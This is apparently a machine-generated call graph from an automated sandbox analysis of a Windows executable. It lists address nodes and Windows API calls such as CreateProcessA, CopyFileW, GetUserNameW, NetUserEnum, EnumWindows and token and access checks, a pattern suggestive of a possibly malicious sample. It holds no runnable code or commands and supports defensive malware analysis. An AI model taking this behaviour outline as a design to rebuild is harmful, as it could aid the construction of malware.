std::_Stofx_v2 20 API calls 109134->109136 109137 a75273 109135->109137 109138 a75202 109136->109138 109139 a759b3 std::_Stofx_v2 20 API calls 109138->109139 109140 a7521c 109139->109140 109140->109133 109141 a75231 109140->109141 109142 a759b3 std::_Stofx_v2 20 API calls 109140->109142 109141->109133 109143 a759b3 std::_Stofx_v2 20 API calls 109141->109143 109142->109141 109143->109133 109158 a868de 109144->109158 109146 a751ae 109146->109123 109146->109124 109148 a86e7c 109147->109148 109149 a86e6e 109147->109149 109203 a91f96 31 API calls 5 library calls 109148->109203 109202 a86da2 28 API calls 4 library calls 109149->109202 109152 a86e78 109152->109133 109153 a86e8d 109154 a86e93 109153->109154 109204 a86da2 28 API calls 4 library calls 109153->109204 109156 a84d66 _free 20 API calls 109154->109156 109156->109152 109157->109128 109159 a868ea CallCatchBlock 109158->109159 109166 a7c20b EnterCriticalSection 109159->109166 109161 a868f5 109167 a86939 109161->109167 109165 a86925 __wsopen_s 109165->109146 109166->109161 109168 a86948 109167->109168 109169 a8695b 109167->109169 109170 a759b3 std::_Stofx_v2 20 API calls 109168->109170 109169->109168 109171 a8696e 109169->109171 109172 a8694d 109170->109172 109189 a869de 77 API calls 109171->109189 109188 a75122 26 API calls __wsopen_s 109172->109188 109175 a86977 _Maklocstr 109176 a869a2 109175->109176 109177 a869b5 109175->109177 109182 a86911 109175->109182 109179 a759b3 std::_Stofx_v2 20 API calls 109176->109179 109190 a821c2 109177->109190 109179->109182 109181 a869d1 109199 a7514f 11 API calls _abort 109181->109199 109185 a86930 109182->109185 109184 a869dd 109201 a7c253 LeaveCriticalSection 109185->109201 109187 a86937 109187->109165 109188->109182 109189->109175 109191 a821cf 109190->109191 109192 a821dd 109190->109192 109191->109192 109197 a821f4 109191->109197 109193 a759b3 std::_Stofx_v2 20 API calls 109192->109193 109194 a821e5 109193->109194 109200 a75122 26 API calls __wsopen_s 109194->109200 109196 a821ef 109196->109181 109196->109182 109197->109196 109198 a759b3 std::_Stofx_v2 20 API calls 109197->109198 109198->109194 109199->109184 109200->109196 109201->109187 109202->109152 109203->109153 109204->109154 109205 a876c2 109206 a876ea 109205->109206 109207 a876d2 109205->109207 109206->109207 109215 a87701 _strrchr 109206->109215 109208 a759b3 std::_Stofx_v2 20 API calls 109207->109208 109209 a876d7 109208->109209 109314 a75122 26 API calls __wsopen_s 109209->109314 109211 a876e2 109212 a877b2 _strrchr 109213 a877d8 109212->109213 109214 a87802 109212->109214 109216 a86e62 33 API calls 109213->109216 109218 a84d09 std::_Stofx_v2 20 API calls 109214->109218 109215->109212 109219 a84d09 std::_Stofx_v2 20 API calls 109215->109219 109217 a877df 109216->109217 109222 a877f8 109217->109222 109251 a878dd 109217->109251 109221 a8781c 109218->109221 109223 a8775f 109219->109223 109227 a87824 109221->109227 109230 a821c2 ___std_type_info_name 26 API calls 109221->109230 109226 a84d66 _free 20 API calls 109222->109226 109224 a87778 109223->109224 109225 a8776a 109223->109225 109229 a821c2 ___std_type_info_name 26 API calls 109224->109229 109228 a84d66 _free 20 API calls 109225->109228 109226->109211 109233 a84d66 _free 20 API calls 109227->109233 109228->109211 109232 a87786 109229->109232 109231 a87838 109230->109231 109234 a878d0 109231->109234 109235 a87843 109231->109235 109232->109234 109315 a86be9 109232->109315 109233->109222 109324 a7514f 11 API calls _abort 109234->109324 109236 a759b3 std::_Stofx_v2 20 API calls 109235->109236 109244 a87853 109236->109244 109240 a878dc 109241 a821c2 ___std_type_info_name 26 API calls 109241->109244 109242 a84d66 _free 20 API calls 109242->109212 109243 a86e62 33 API calls 109243->109244 109244->109241 109244->109243 109245 a8789b 109244->109245 109247 a8788f 109244->109247 109246 a759b3 std::_Stofx_v2 20 API calls 109245->109246 109248 a878a0 109246->109248 109249 a84d66 _free 20 API calls 109247->109249 109250 a878dd 71 API calls 109248->109250 109249->109222 109250->109227 109252 a878eb 109251->109252 109253 a87903 109251->109253 109254 a759b3 std::_Stofx_v2 20 API calls 109252->109254 109253->109252 109256 a87919 109253->109256 109257 a8790f 109253->109257 109255 a878f0 109254->109255 109333 a75122 26 API calls __wsopen_s 109255->109333 109325 a923d6 109256->109325 109259 a759a0 __dosmaperr 20 API calls 109257->109259 109259->109252 109262 a87940 109265 a84d66 _free 20 API calls 109262->109265 109263 a87957 109330 a8769a 109263->109330 109267 a87948 109265->109267 109270 a84d66 _free 20 API calls 109267->109270 109268 a879b9 109274 a759a0 __dosmaperr 20 API calls 109268->109274 109269 a87991 109272 a84d66 _free 20 API calls 109269->109272 109271 a878fb 109270->109271 109271->109222 109273 a87999 109272->109273 109276 a84d66 _free 20 API calls 109273->109276 109275 a879ca ListArray 109274->109275 109278 a879db CreateProcessA 109275->109278 109277 a879a4 109276->109277 109279 a84d66 _free 20 API calls 109277->109279 109280 a87a18 GetLastError 109278->109280 109281 a87a3d 109278->109281 109279->109271 109334 a7597d 20 API calls 2 library calls 109280->109334 109283 a87a49 109281->109283 109284 a87afb 109281->109284 109286 a87a4d WaitForSingleObject GetExitCodeProcess 109283->109286 109287 a87a83 109283->109287 109335 a70f95 60 API calls _abort 109284->109335 109285 a87a24 109291 a87a29 CloseHandle 109285->109291 109292 a87a30 109285->109292 109294 a87a6c CloseHandle 109286->109294 109295 a87a73 109286->109295 109289 a87a88 109287->109289 109290 a87ac4 109287->109290 109296 a87a8c CloseHandle 109289->109296 109297 a87a93 109289->109297 109300 a87ac8 CloseHandle 109290->109300 109301 a87acf 109290->109301 109291->109292 109298 a87a7e 109292->109298 109299 a87a34 CloseHandle 109292->109299 109293 a87b02 109294->109295 109295->109298 109302 a87a77 CloseHandle 109295->109302 109296->109297 109297->109298 109304 a87a97 CloseHandle 109297->109304 109305 a84d66 _free 20 API calls 109298->109305 109299->109298 109300->109301 109303 a84d66 _free 20 API calls 109301->109303 109302->109298 109306 a87ad7 109303->109306 109304->109298 109307 a87aa8 109305->109307 109308 a84d66 _free 20 API calls 109306->109308 109309 a84d66 _free 20 API calls 109307->109309 109310 a87ae3 109308->109310 109311 a87ab4 109309->109311 109312 a84d66 _free 20 API calls 109310->109312 109313 a84d66 _free 20 API calls 109311->109313 109312->109271 109313->109271 109314->109211 109316 a86c05 109315->109316 109318 a86bf7 109315->109318 109317 a759b3 std::_Stofx_v2 20 API calls 109316->109317 109323 a86c0d 109317->109323 109318->109316 109321 a86c2e 109318->109321 109320 a86c17 109320->109234 109320->109242 109321->109320 109322 a759b3 std::_Stofx_v2 20 API calls 109321->109322 109322->109323 109378 a75122 26 API calls __wsopen_s 109323->109378 109324->109240 109336 a9205d 109325->109336 109328 a84d66 _free 20 API calls 109329 a87936 109328->109329 109329->109262 109329->109263 109354 a87649 109330->109354 109332 a876be 109332->109268 109332->109269 109333->109271 109334->109285 109335->109293 109337 a92079 109336->109337 109337->109337 109338 a84d09 std::_Stofx_v2 20 API calls 109337->109338 109339 a920a7 109338->109339 109340 a920af 109339->109340 109345 a920c3 109339->109345 109352 a7597d 20 API calls 2 library calls 109340->109352 109342 a920b6 109344 a759b3 std::_Stofx_v2 20 API calls 109342->109344 109343 a821c2 ___std_type_info_name 26 API calls 109343->109345 109348 a920bc 109344->109348 109345->109343 109345->109348 109349 a92118 109345->109349 109346 a84d66 _free 20 API calls 109347 a9210e 109346->109347 109347->109328 109348->109346 109353 a7514f 11 API calls _abort 109349->109353 109351 a92124 109352->109342 109353->109351 109355 a87655 CallCatchBlock 109354->109355 109362 a7c20b EnterCriticalSection 109355->109362 109357 a87663 109363 a87b03 109357->109363 109361 a87681 __wsopen_s 109361->109332 109362->109357 109364 a87b2c 109363->109364 109365 a87b58 109364->109365 109366 a87b6a 109364->109366 109367 a759b3 std::_Stofx_v2 20 API calls 109365->109367 109368 a84d09 std::_Stofx_v2 20 API calls 109366->109368 109373 a87670 109367->109373 109369 a87b7e 109368->109369 109370 a759b3 std::_Stofx_v2 20 API calls 109369->109370 109371 a87b8c 109369->109371 109370->109371 109372 a84d66 _free 20 API calls 109371->109372 109372->109373 109374 a8768e 109373->109374 109377 a7c253 LeaveCriticalSection 109374->109377 109376 a87698 109376->109361 109377->109376 109378->109320 109379 a50daf 109380 a50dbb CallCatchBlock 109379->109380 109409 a50a3e 109380->109409 109382 a50dc2 109383 a50f1b 109382->109383 109386 a50dec 109382->109386 110203 a51968 4 API calls 2 library calls 109383->110203 109385 a50f22 110204 a70fe3 60 API calls _abort 109385->110204 109396 a50e2b ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 109386->109396 109420 a80429 109386->109420 109388 a50f28 110205 a70f95 60 API calls _abort 109388->110205 109391 a50f30 109393 a50e0b 109395 a50e8c 109430 a7fe16 109395->109430 109396->109395 110199 a70fab 64 API calls 4 library calls 109396->110199 109399 a50e92 109434 9ec170 109399->109434 109403 a50eb3 109403->109385 109404 a50eb7 109403->109404 109405 a50ec0 109404->109405 110201 a70f86 60 API calls _abort 109404->110201 110202 a50bc4 13 API calls 2 library calls 109405->110202 109408 a50ec9 109408->109393 109410 a50a47 109409->109410 110206 a51105 IsProcessorFeaturePresent 109410->110206 109412 a50a53 110207 a6a1f6 10 API calls 3 library calls 109412->110207 109414 a50a58 109415 a50a5c 109414->109415 110208 a80309 109414->110208 109415->109382 109418 a50a73 109418->109382 109421 a80440 109420->109421 109422 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 109421->109422 109423 a50e05 109422->109423 109423->109393 109424 a803cd 109423->109424 109425 a80418 109424->109425 109428 a803fc 109424->109428 109426 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 109425->109426 109427 a80425 109426->109427 109427->109396 109428->109425 110223 9c1960 109428->110223 109431 a7fe1f 109430->109431 109433 a7fe24 109430->109433 110392 a7fb5d 82 API calls 109431->110392 109433->109399 110393 a51740 109434->110393 109437 9ec1d4 109438 9f1800 collate 28 API calls 109437->109438 109440 9ec201 109438->109440 109439 9f1940 28 API calls 109439->109440 109440->109439 109441 9ec239 109440->109441 109442 9f1c10 _MREFOpen@16 28 API calls 109441->109442 109443 9ec24a 109442->109443 111641 9e68a0 326 API calls 11 library calls 109443->111641 109445 9ec24f 109446 9f1ac0 collate 26 API calls 109445->109446 109448 9ec264 109446->109448 109447 9ec415 109455 9ee585 109447->109455 110398 9c8780 109447->110398 109451 9ec269 109448->109451 109450 9ec3fd SetErrorMode SetConsoleTitleW 110395 9d58e0 EnumWindows 109450->110395 109451->109447 109451->109450 109451->109451 109453 9ec510 110435 9d2870 109453->110435 109457 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 109455->109457 109458 9ee59f 109457->109458 110200 a51a87 GetModuleHandleW 109458->110200 109459 9ec432 109459->109453 110416 9f1360 109459->110416 109473 9ec55a 110529 9c49c0 109473->110529 109476 9ec565 110536 9f9b40 109476->110536 109477 9ec4cf 109479 9f1ac0 collate 26 API calls 109477->109479 109481 9ec4de 109479->109481 109485 9c8780 97 API calls 109481->109485 109486 9ec4f6 109485->109486 109488 9f1ac0 collate 26 API calls 109486->109488 109490 9ec501 109488->109490 109489 9c49c0 52 API calls 109491 9ec5b4 109489->109491 109492 9f1ac0 collate 26 API calls 109490->109492 109493 9c49c0 52 API calls 109491->109493 109492->109453 109494 9ec5c3 109493->109494 109495 9ec5dc CopyFileW 109494->109495 109496 9f9b40 28 API calls 109495->109496 109497 9ec5fa 109496->109497 109498 9f9c10 28 API calls 109497->109498 109499 9ec610 109498->109499 109500 9f9ad0 28 API calls 109499->109500 109501 9ec626 109500->109501 109502 9c49c0 52 API calls 109501->109502 109503 9ec634 109502->109503 109504 9c49c0 52 API calls 109503->109504 109505 9ec643 109504->109505 109506 9ec65c CopyFileW 109505->109506 109507 9ec671 109506->109507 110552 9fa4d0 109507->110552 109511 9ec6b0 109512 9f9580 28 API calls 109511->109512 109513 9ec6c6 109512->109513 109514 9f1ac0 collate 26 API calls 109513->109514 109515 9ec6d8 109514->109515 109516 9f8f40 28 API calls 109515->109516 109517 9ec6ef 109516->109517 109518 9f9580 28 API calls 109517->109518 109519 9ec705 109518->109519 109520 9f1ac0 collate 26 API calls 109519->109520 109521 9ec717 109520->109521 109522 9c8780 97 API calls 109521->109522 109523 9ec72f 109522->109523 109524 9f1ac0 collate 26 API calls 109523->109524 109525 9ec73a 109524->109525 109526 9c8780 97 API calls 109525->109526 109527 9ec752 109526->109527 109528 9f1ac0 collate 26 API calls 109527->109528 109529 9ec75d 109528->109529 109530 9fa4d0 28 API calls 109529->109530 109531 9ec793 109530->109531 109532 9f8f40 28 API calls 109531->109532 109533 9ec7ae 109532->109533 109534 9f9580 28 API calls 109533->109534 109535 9ec7c4 109534->109535 109536 9f1ac0 collate 26 API calls 109535->109536 109537 9ec7d6 109536->109537 109538 9c8780 97 API calls 109537->109538 109539 9ec7ee 109538->109539 109540 9f1ac0 collate 26 API calls 109539->109540 109541 9ec7f9 109540->109541 110566 9e3dd0 GetCurrentThread OpenThreadToken 109541->110566 109544 9c8780 97 API calls 109545 9ec814 109544->109545 110593 9f12d0 109545->110593 109547 9ec843 110598 9d3100 109547->110598 109549 9ec8b3 110947 9d5d90 GlobalMemoryStatusEx 109549->110947 109551 9ec8bb 109553 9d5d90 6 API calls 109551->109553 109552 9ec848 109552->109549 109556 9f12d0 28 API calls 109552->109556 109554 9ec8c5 109553->109554 109555 9d5d90 6 API calls 109554->109555 109559 9ec8dc 109554->109559 109557 9ec8d2 109555->109557 109558 9ec88b 109556->109558 109560 9d5d90 6 API calls 109557->109560 109561 9f12d0 28 API calls 109558->109561 109564 9fa4d0 28 API calls 109559->109564 109560->109559 109562 9ec89e 109561->109562 110636 9c92a0 109562->110636 109565 9ec926 109564->109565 110967 9f1a90 109565->110967 109570 9f11d0 26 API calls 109571 9ec95a 109570->109571 109572 9c49c0 52 API calls 109571->109572 109573 9ec965 109572->109573 109574 9fa4d0 28 API calls 109573->109574 109575 9ec999 109574->109575 109576 9c8a80 71 API calls 109575->109576 109577 9ec9ae 109576->109577 110983 9f9d90 109577->110983 109580 9f11d0 26 API calls 109581 9ec9cc 109580->109581 109582 9c49c0 52 API calls 109581->109582 109583 9ec9d7 109582->109583 109584 9c49c0 52 API calls 109583->109584 109585 9ec9e2 109584->109585 110986 9d4500 NetUserEnum 109585->110986 110199->109395 110200->109403 110201->109405 110202->109408 110203->109385 110204->109388 110205->109391 110206->109412 110207->109414 110212 a8c98d 110208->110212 110211 a6a21f 8 API calls 3 library calls 110211->109415 110213 a8c9aa 110212->110213 110216 a8c9a6 110212->110216 110213->110216 110218 a83b5d 110213->110218 110214 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110215 a50a65 110214->110215 110215->109418 110215->110211 110216->110214 110221 a83b64 110218->110221 110219 a83ba7 GetStdHandle 110219->110221 110220 a83c0f 110220->110213 110221->110219 110221->110220 110222 a83bba GetFileType 110221->110222 110222->110221 110230 a2e660 110223->110230 110225 9c198c 110239 a24900 110225->110239 110229 9c19b5 110229->109428 110262 a04760 110230->110262 110232 a2e697 110285 a5089a 110232->110285 110235 a04760 28 API calls 110236 a2e70b 110235->110236 110293 9f6670 110236->110293 110237 a2e725 ListArray 110237->110225 110240 a24942 110239->110240 110241 a2493e 110239->110241 110383 a27f30 24 API calls 4 library calls 110240->110383 110243 a04760 28 API calls 110241->110243 110244 a24961 110243->110244 110352 a24230 CryptAcquireContextA 110244->110352 110246 a24970 110369 a247f0 110246->110369 110248 a2497c CryptGenRandom 110249 a249e4 110248->110249 110250 a2498a 110248->110250 110251 9f1bd0 _MREFOpen@16 28 API calls 110249->110251 110252 a2499c CryptReleaseContext 110250->110252 110256 a249a5 110250->110256 110253 a249f1 110251->110253 110252->110256 110384 a24390 30 API calls 4 library calls 110253->110384 110255 a24a01 110385 a67e0c RaiseException 110255->110385 110259 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110256->110259 110258 a24a0f 110260 9c19ab 110259->110260 110261 a50c27 29 API calls __onexit 110260->110261 110261->110229 110263 a047b6 110262->110263 110266 a04791 110262->110266 110264 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110263->110264 110265 a047ce 110264->110265 110265->110232 110266->110263 110267 a047ac 110266->110267 110268 a047d4 110266->110268 110267->110263 110269 a04802 110267->110269 110305 9f1bd0 110268->110305 110270 9f1bd0 _MREFOpen@16 28 API calls 110269->110270 110272 a0480f 110270->110272 110311 a04f50 28 API calls _MREFOpen@16 110272->110311 110276 a04822 110312 a67e0c RaiseException 110276->110312 110277 a047f4 110310 a67e0c RaiseException 110277->110310 110280 a04830 110313 a67afd 27 API calls 2 library calls 110280->110313 110282 a04887 110314 9f1c10 110282->110314 110284 a048a9 110284->110232 110287 a5089f 110285->110287 110288 a2e6f1 110287->110288 110290 a508bb ListArray 110287->110290 110339 a7ac7c 110287->110339 110346 a7cfdd 7 API calls 2 library calls 110287->110346 110288->110235 110288->110237 110347 a67e0c RaiseException 110290->110347 110292 a51b6e 110294 9f669f 110293->110294 110295 9f66d1 110293->110295 110296 9f66a3 110294->110296 110349 a27ec0 30 API calls 3 library calls 110294->110349 110297 9f1bd0 _MREFOpen@16 28 API calls 110295->110297 110296->110237 110299 9f66de 110297->110299 110350 9c5930 28 API calls _MREFOpen@16 110299->110350 110300 9f66bd 110300->110237 110302 9f66f1 110351 a67e0c RaiseException 110302->110351 110304 9f66ff 110306 9f1bf0 110305->110306 110306->110306 110325 9f1800 110306->110325 110308 9f1c02 110309 a04f50 28 API calls _MREFOpen@16 110308->110309 110309->110277 110310->110269 110311->110276 110312->110280 110313->110282 110315 9f1c36 110314->110315 110316 9f1c3d 110315->110316 110317 9f1c96 110315->110317 110318 9f1c73 110315->110318 110316->110284 110320 a5089a ListArray 22 API calls 110317->110320 110322 9f1c8b codecvt 110317->110322 110319 a5089a ListArray 22 API calls 110318->110319 110321 9f1c84 110319->110321 110320->110322 110321->110322 110323 a75132 collate 26 API calls 110321->110323 110322->110284 110324 9f1cd3 110323->110324 110328 9f1844 110325->110328 110329 9f181e SimpleUString::operator= 110325->110329 110326 9f192e 110338 9fdba0 28 API calls SimpleUString::operator= 110326->110338 110328->110326 110331 9f18bd 110328->110331 110332 9f1898 110328->110332 110329->110308 110334 a5089a ListArray 22 API calls 110331->110334 110337 9f18a9 codecvt 110331->110337 110333 a5089a ListArray 22 API calls 110332->110333 110333->110337 110334->110337 110335 a75132 collate 26 API calls 110335->110326 110336 9f1910 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110336->110308 110337->110335 110337->110336 110344 a85b94 std::_Locinfo::_W_Getmonths 110339->110344 110340 a85bd2 110342 a759b3 std::_Stofx_v2 20 API calls 110340->110342 110341 a85bbd RtlAllocateHeap 110343 a85bd0 110341->110343 110341->110344 110342->110343 110343->110287 110344->110340 110344->110341 110348 a7cfdd 7 API calls 2 library calls 110344->110348 110346->110287 110347->110292 110348->110344 110349->110300 110350->110302 110351->110304 110353 a242a6 110352->110353 110354 a2427b GetLastError CryptAcquireContextA 110352->110354 110356 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110353->110356 110354->110353 110355 a24295 CryptAcquireContextA 110354->110355 110355->110353 110357 a242c4 SetLastError 110355->110357 110358 a242c0 110356->110358 110359 9f1bd0 _MREFOpen@16 28 API calls 110357->110359 110358->110246 110360 a242d8 110359->110360 110386 a24390 30 API calls 4 library calls 110360->110386 110362 a242eb 110387 a67e0c RaiseException 110362->110387 110364 a242f9 110388 a67afd 27 API calls 2 library calls 110364->110388 110366 a24347 110367 9f1c10 _MREFOpen@16 28 API calls 110366->110367 110368 a24369 110367->110368 110368->110246 110370 a248b7 110369->110370 110371 a24835 110369->110371 110389 a5079a 5 API calls __Init_thread_wait 110370->110389 110373 a5089a ListArray 22 API calls 110371->110373 110382 a24880 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110371->110382 110375 a24845 110373->110375 110374 a248c1 110374->110371 110390 a50c27 29 API calls __onexit 110374->110390 110378 a24230 35 API calls 110375->110378 110380 a2485d 110375->110380 110377 a248e5 110391 a50750 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 110377->110391 110378->110380 110381 a24877 CryptReleaseContext 110380->110381 110380->110382 110381->110382 110382->110248 110383->110241 110384->110255 110385->110258 110386->110362 110387->110364 110388->110366 110389->110374 110390->110377 110391->110371 110392->109433 110394 9ec18c GetConsoleWindow ShowWindow 110393->110394 110394->109437 110394->109451 110396 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110395->110396 110397 9d5912 110396->110397 110397->109447 110399 9c87e1 110398->110399 110400 9c87f8 110399->110400 110401 9c8863 110399->110401 110403 9f1800 collate 28 API calls 110400->110403 111812 a754b9 110401->111812 110411 9c8812 110403->110411 110404 9c88a8 111832 a74cff 110404->111832 110405 9c883c Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110406 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110405->110406 110408 9c885f 110406->110408 110408->109459 110410 9c8918 110412 a75132 collate 26 API calls 110410->110412 110411->110405 110411->110410 110414 9c891d 110412->110414 110413 9c8875 110413->110404 110415 a754b9 28 API calls 110413->110415 111827 9f1940 110413->111827 110415->110413 110417 9f13ae 110416->110417 110418 9f138a 110416->110418 111986 9f8080 28 API calls SimpleUString::operator= 110417->111986 110420 9f1800 collate 28 API calls 110418->110420 110422 9ec495 110420->110422 110421 9f13b3 110423 9f9040 110422->110423 110424 9f9050 110423->110424 110424->110424 111987 9fe160 110424->111987 110426 9ec4ab 110427 9f9580 110426->110427 110428 9f1940 28 API calls 110427->110428 110429 9ec4c1 110428->110429 110430 9f1ac0 110429->110430 110431 9f1acb 110430->110431 110432 9f1ae6 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110430->110432 110431->110432 110433 a75132 collate 26 API calls 110431->110433 110432->109477 110434 9f1b0a 110433->110434 110436 9f1800 collate 28 API calls 110435->110436 110437 9d28c1 110436->110437 110438 9f1c10 _MREFOpen@16 28 API calls 110437->110438 110439 9d28d7 110438->110439 111997 9d1bc0 110439->111997 110441 9d299f Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110442 9f1800 collate 28 API calls 110441->110442 110444 9d29ce 110442->110444 110443 9d30d0 110446 a75132 collate 26 API calls 110443->110446 110447 9f1c10 _MREFOpen@16 28 API calls 110444->110447 110445 9d28e9 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110445->110441 110445->110443 110448 9d30f3 110446->110448 110449 9d29e4 110447->110449 110450 9d1bc0 30 API calls 110449->110450 110452 9d29f6 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110450->110452 110451 9f1800 collate 28 API calls 110453 9d2adb 110451->110453 110452->110451 110454 9f1c10 _MREFOpen@16 28 API calls 110453->110454 110455 9d2af1 110454->110455 110456 9d1bc0 30 API calls 110455->110456 110459 9d2b03 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110456->110459 110457 9fa4d0 28 API calls 110458 9d2bf5 110457->110458 110460 9f1800 collate 28 API calls 110458->110460 110459->110457 110461 9d2c21 110460->110461 110462 9f1c10 _MREFOpen@16 28 API calls 110461->110462 110463 9d2c33 110462->110463 110464 9d1bc0 30 API calls 110463->110464 110467 9d2c42 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110464->110467 110465 9fa5b0 28 API calls 110466 9d2d13 110465->110466 112073 9f6c20 110466->112073 110467->110465 110469 9d2d30 110470 9fa4d0 28 API calls 110469->110470 110471 9d2d62 110470->110471 110472 9f1800 collate 28 API calls 110471->110472 110473 9d2d8b 110472->110473 110474 9f1c10 _MREFOpen@16 28 API calls 110473->110474 110475 9d2d9d 110474->110475 110476 9d1bc0 30 API calls 110475->110476 110479 9d2dac Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110476->110479 110477 9fa5b0 28 API calls 110478 9d2e7d 110477->110478 110480 9f6c20 SimpleUString::operator= 28 API calls 110478->110480 110479->110477 110481 9d2e9a 110480->110481 110482 9f1800 collate 28 API calls 110481->110482 110483 9d2ebf 110482->110483 110484 9f1c10 _MREFOpen@16 28 API calls 110483->110484 110485 9d2ed2 110484->110485 110486 9d1bc0 30 API calls 110485->110486 110488 9d2ee1 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110486->110488 110487 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110489 9d30cc GetModuleFileNameW 110487->110489 110488->110487 110490 9f1260 110489->110490 110491 9f1282 110490->110491 110491->110491 110492 9f6c20 SimpleUString::operator= 28 API calls 110491->110492 110493 9ec53b 110492->110493 110494 9d36f0 GetUserNameW 110493->110494 110495 9d3760 110494->110495 110496 9f6c20 SimpleUString::operator= 28 API calls 110495->110496 110497 9d3782 110496->110497 110498 9f6c20 SimpleUString::operator= 28 API calls 110497->110498 110499 9d37ae 110498->110499 110500 9fa4d0 28 API calls 110499->110500 110501 9d37e6 110500->110501 110502 9f1800 collate 28 API calls 110501->110502 110504 9d380f Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110502->110504 110503 9d3892 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110505 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110503->110505 110504->110503 110506 9d38b5 110504->110506 110507 9d38b1 110505->110507 110508 a75132 collate 26 API calls 110506->110508 110510 9d3590 GetSystemDirectoryW 110507->110510 110509 9d38ba 110508->110509 110511 9d3610 110510->110511 110511->110511 110512 9f6c20 SimpleUString::operator= 28 API calls 110511->110512 110513 9d362e 110512->110513 110514 9f6c20 SimpleUString::operator= 28 API calls 110513->110514 110515 9d367f 110514->110515 110516 9f11d0 26 API calls 110515->110516 110517 9d368d 110516->110517 110519 9d36bf Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110517->110519 110520 9d36e5 110517->110520 110518 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110521 9d36e1 110518->110521 110519->110518 110522 a75132 collate 26 API calls 110520->110522 110524 9f11d0 110521->110524 110523 9d36ea 110522->110523 110525 9f11de 110524->110525 110526 9f1207 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110524->110526 110525->110526 110527 a75132 collate 26 API calls 110525->110527 110526->109473 110528 9f1250 110527->110528 110530 9c49ec Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110529->110530 110531 9c49cb 110529->110531 110530->109476 110531->110530 110532 a75132 collate 26 API calls 110531->110532 110533 9c4a12 110532->110533 112231 a4cb70 110533->112231 110537 9f9ba0 110536->110537 112259 9f0f10 110537->112259 110539 9f9bbf 112268 9f80d0 110539->112268 110541 9f9bd1 110542 9f80d0 28 API calls 110541->110542 110543 9ec57a 110542->110543 110544 9f9c10 110543->110544 110545 9f9c25 110544->110545 110546 9f80d0 28 API calls 110545->110546 110547 9ec590 110546->110547 110548 9f9ad0 110547->110548 110549 9f9ae1 110548->110549 110550 9f80d0 28 API calls 110549->110550 110551 9ec5a6 110550->110551 110551->109489 110553 9f1440 _MREFOpen@16 28 API calls 110552->110553 110555 9fa51d 110553->110555 110554 9ec695 110557 9f8f40 110554->110557 110555->110554 112281 9fba60 110555->112281 110558 9f8fa0 110557->110558 110558->110558 110559 9f1440 _MREFOpen@16 28 API calls 110558->110559 110560 9f8fb9 110559->110560 110561 9f1940 28 API calls 110560->110561 110562 9f8fc1 110561->110562 110565 9f8fdc SimpleUString::operator= 110562->110565 112294 9fbba0 28 API calls 5 library calls 110562->112294 110564 9f9022 110564->109511 110565->109511 110567 9e3e24 GetLastError 110566->110567 110568 9e3e50 DuplicateToken 110566->110568 110569 9e3f8a 110567->110569 110570 9e3e35 GetCurrentProcess OpenProcessToken 110567->110570 110568->110569 110571 9e3e67 AllocateAndInitializeSid 110568->110571 110573 9e3f9c 110569->110573 110574 9e3f99 LocalFree 110569->110574 110570->110568 110570->110569 110571->110569 110572 9e3e92 LocalAlloc 110571->110572 110572->110569 110575 9e3ea7 InitializeSecurityDescriptor 110572->110575 110576 9e3fa6 110573->110576 110577 9e3fa3 LocalFree 110573->110577 110574->110573 110575->110569 110578 9e3eb8 GetLengthSid LocalAlloc 110575->110578 110579 9e3fad FreeSid 110576->110579 110580 9e3fb4 110576->110580 110577->110576 110578->110569 110581 9e3ed8 InitializeAcl 110578->110581 110579->110580 110582 9e3fc4 110580->110582 110583 9e3fc1 CloseHandle 110580->110583 110581->110569 110584 9e3eea AddAccessAllowedAce 110581->110584 110585 9e3fce 110582->110585 110586 9e3fcb CloseHandle 110582->110586 110583->110582 110584->110569 110587 9e3f02 SetSecurityDescriptorDacl 110584->110587 110589 a505bb Concurrency::details::ReferenceLoadLibrary 5 API calls 110585->110589 110586->110585 110587->110569 110588 9e3f16 SetSecurityDescriptorGroup SetSecurityDescriptorOwner IsValidSecurityDescriptor 110587->110588 110588->110569 110590 9e3f3f AccessCheck 110588->110590 110591 9e3fdc 110589->110591 110590->110569 110592 9e3f81 110590->110592 110591->109544 110592->110569 110594 9f12f6 110593->110594 110595 9f12fd 110594->110595 110596 9f7510 SimpleUString::operator= 28 API calls 110594->110596 110595->109547 110597 9f1331 codecvt 110596->110597 110597->109547 110599 9f9b40 28 API calls 110598->110599 110600 9d3151 110599->110600 110601 9f6c20 SimpleUString::operator= 28 API calls 110600->110601 110602 9d319e 110601->110602 110603 9f80d0 28 API calls 110602->110603 110604 9d31c3 110603->110604 110605 9f80d0 28 API calls 110604->110605 110608 9d3208 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110605->110608 110606 9d32c3 Concurrency::details::platform::DefaultWaiterPool::~DefaultWaiterPool 110611 9f6c20 SimpleUString::operator= 28 API calls 110606->110611 110607 9d3578 110609 a75132 collate 26 API calls 110607->110609 